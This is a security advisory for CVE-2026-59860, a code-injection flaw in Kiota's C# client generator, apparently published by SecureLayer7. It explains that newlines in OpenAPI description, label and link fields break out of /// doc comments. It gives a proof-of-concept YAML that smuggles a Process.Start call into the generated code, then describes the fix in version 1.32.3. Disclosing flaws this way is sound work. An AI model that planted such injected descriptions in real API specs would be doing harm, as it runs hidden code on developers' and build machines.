highCVE-2026-59860Jul 24, 2026

CVE-2026-59860: Microsoft.OpenApi.Kiota XML Doc-Comment Newline Breakout Code Injection

Shubham Kandhare
Security Engagement Manager, SecureLayer7

Kiota generates C# API clients from OpenAPI descriptions, and before version 1.32.3 it wrote description text directly into XML doc comments without removing newline characters, letting anyone who…

PackageMicrosoft.OpenApi.Kiota
Ecosystemnuget
Affected< 1.32.3
Fixed in1.32.3
CVE-2026-59860: Microsoft.OpenApi.Kiota XML Doc-Comment Newline Breakout Code Injection

The problem

Kiota's C# code writer emits OpenAPI description text, externalDocs labels, and externalDocs link values verbatim into single-line XML doc comments (/// ...). It did not strip newline or Unicode line-terminator characters before writing.

A malicious or compromised OpenAPI description can embed a newline inside any of those fields. The newline terminates the /// comment line, and whatever follows lands in the generated .cs file as live C# code. That code compiles and executes when the developer or CI builds the client.

Proof of concept

A working proof-of-concept for CVE-2026-59860 in Microsoft.OpenApi.Kiota, with the exact payload below.

text
# Malicious OpenAPI description (YAML)
openapi: 3.0.1
info:
  title: Exploit Demo
  version: 1.0.0
  description: |-
    Legitimate summary text
    public static class Pwned { static Pwned() { System.Diagnostics.Process.Start("calc.exe"); } }

# Resulting generated C# BEFORE the fix:
/// Legitimate summary text
public static class Pwned { static Pwned() { System.Diagnostics.Process.Start("calc.exe"); } }

# The same injection works with \r, \u0085 (NEL), \u2028 (LS), \u2029 (PS)
# and applies equally to externalDocs label and link text fields.

The root cause (CWE-94) is that the C# writer concatenated untrusted OpenAPI text into /// doc-comment lines with no sanitization. A LF (or any Unicode line-terminator) is all that is needed to end the comment and begin a new top-level C# statement.

PR #7831 (commit ebb632db) closes the hole by stripping \r, \n, \u0085, \u2028, and \u2029, and normalizing tabs, from description, label, and link text before any of it is written into a doc-comment line. The set of blocked characters is exactly the set that C# and the .NET runtime treat as line terminators, confirming these were the only inputs needed to trigger the breakout.

The fix

Upgrade Microsoft.OpenApi.Kiota to 1.32.3 or later, then regenerate all existing C# clients so previously emitted vulnerable code is replaced. The fix is in PR #7831 (commit ebb632db90aa8e3c20949337d9faa2720d64ca44). Risk is greatly reduced if you only generate from trusted, integrity-verified OpenAPI descriptions.

Reporter not attributed.

References: [1][2][3][4][5][6]

Related research